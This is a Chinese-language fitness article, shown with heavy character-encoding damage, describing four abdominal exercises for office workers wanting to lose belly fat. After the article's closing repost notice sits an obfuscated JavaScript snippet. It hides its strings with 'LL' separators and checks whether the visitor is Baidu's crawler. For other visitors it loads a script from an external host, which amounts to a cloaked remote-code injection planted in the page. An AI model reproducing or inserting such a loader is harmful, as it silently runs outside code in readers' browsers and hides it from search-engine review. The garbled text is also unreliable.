當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

最減肚子的運(yùn)動(dòng)是什么

2017-04-16 13:28:11  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):有的女性每天都坐在辦公室里面對(duì)電腦,是吃飽了酒坐,坐完了就吃,這樣周而復(fù)始,身體根本就沒(méi)有得到鍛煉,久而久之肚子上贅肉就長(zhǎng)出來(lái)了,

有的女性每天都坐在辦公室里面對(duì)電腦,是吃飽了酒坐,坐完了就吃,這樣周而復(fù)始,身體根本就沒(méi)有得到鍛煉,久而久之肚子上贅肉就長(zhǎng)出來(lái)了,這個(gè)時(shí)候想要減下去非常的困難,讓很多女生是煩惱不已。那么如何才能減掉難看的肚子贅肉呢,方法不是沒(méi)有,就看自己能不能堅(jiān)持下來(lái)。我們一起來(lái)看看怎么運(yùn)動(dòng)減肚子吧。

具體方法一:仰臥在地上,雙腿屈起并攏,雙手屈肘輕輕將頭抱住。腰腹用力慢慢向上身抬起,直到上身和地面成30度到60度之間。保持這個(gè)動(dòng)作5秒,然后慢慢落下,重復(fù)練習(xí)3組,每組做15次。方法二:仰臥地上,雙手放在頭部后面。肩膀、頸脖、頭部微微向上抬,大腿向上抬起和地面成60度,小腿和地面保持平衡。、慢慢伸展腿部,可以不完全伸直雙腿,只要感受到腰腹收緊即可。重復(fù)練習(xí)2組,每組做15次。

方法三:平躺在地上,雙腿向上抬起和地面成60度,雙手抱住頭部,抬起上身。上身向右側(cè)慢慢轉(zhuǎn)動(dòng),同時(shí)收緊右腿,左腿保持不動(dòng),左手肘彭粗右腿膝蓋。身體再轉(zhuǎn)向左側(cè),用右手肘碰觸左腿。重復(fù)練習(xí)兩組,每組做25次。方法四:自然站立,雙腿并攏伸直,右手叉腰,左手拿著啞鈴,保持自然垂下。身體慢慢向左側(cè)傾斜,左手盡量往下垂,一直垂到最大極限,然后將身體拉直。每側(cè)練習(xí)兩組,每組練習(xí)20次。

好了,運(yùn)動(dòng)減肚子的方法就大致介紹完了。是不是看起來(lái)很簡(jiǎn)單呢。其實(shí)吧,很多運(yùn)動(dòng)都有減肚子以及瘦身的效果,看起來(lái)雖然很簡(jiǎn)單,但是做起來(lái)未必容易。每一種鍛煉方法想要收到效果都必須堅(jiān)持,減肚子鍛煉也是如此??梢哉覂扇齻€(gè)好朋友一起鍛煉,這樣不會(huì)枯燥而且減肚子的效果更好哦。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}